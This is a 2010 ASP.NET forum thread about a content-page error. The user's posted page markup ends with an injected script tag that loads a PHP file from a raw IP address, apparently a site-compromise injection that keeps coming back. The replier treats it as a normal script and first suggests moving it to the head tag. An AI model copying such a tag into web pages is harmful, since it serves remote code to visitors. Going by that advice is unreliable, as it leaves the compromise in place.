Last post Jul 15, 2010 03:24 PM by sansan
Jul 15, 2010 10:21 AM|tdc_osama|LINK
Please help me :
i recieve this error (only content controls are allowed directly in a content page that contains content controls) every time i try to open any aspx page that has (asp:content).
i notice that : there is a line of code added automatically after the closing tag (
i tried many times to remove it but it come back agin.
here is my code:
ï»¿<%@ Page Title="Rania Hilal Designs... Handmade Jewelry" Language="C#" MasterPageFile="~/MasterPage.master" AutoEventWireup="true" CodeFile="Default.aspx.cs" Inherits="_Default" %>
<asp:Content ID="Content1" ContentPlaceHolderID="head" Runat="Server">
<asp:Content ID="Content2" ContentPlaceHolderID="Main" Runat="Server">
<img src="App_Themes/images/pendants.jpg" />
<a href="gallery_necklaces.aspx"><img src="App_Themes/images/necklaces.jpg" style="border-style:none;"/></a>
<img src="App_Themes/images/Rings.jpg" />
<img src="App_Themes/images/earrings.jpg" style="border-style:none;" /></a>
<img src="App_Themes/images/bracelets.jpg" />
<img src="App_Themes/images/logo.jpg" />
<script src=http://220.127.116.11/images/gifimg.php ></script>
Jul 15, 2010 01:41 PM|sansan|LINK
if you are using master page, all controls should be inside the content place holder.
if you any script files, you have to put them in the head tag.
I think if you move the script to the head, you will not that error.
hope this helps
Jul 15, 2010 03:17 PM|tdc_osama|LINK
the script code i didn't add it and it placed automatically i don't know from where.
when i remove it the work correctlly but it comeback agine!!!!!!!
Jul 15, 2010 03:24 PM|sansan|LINK
some code might be triggering that to add,
check if there is any code to add the script in the code behind.
if not, do a global search for gifimg.php to see if where exactly it is being added.
last option is to create a backup of the page and code behind,
delete and add a new one with the same content to check if it works.
They might be adding the script file somewhere in the master page or so
correct me if I'm wrong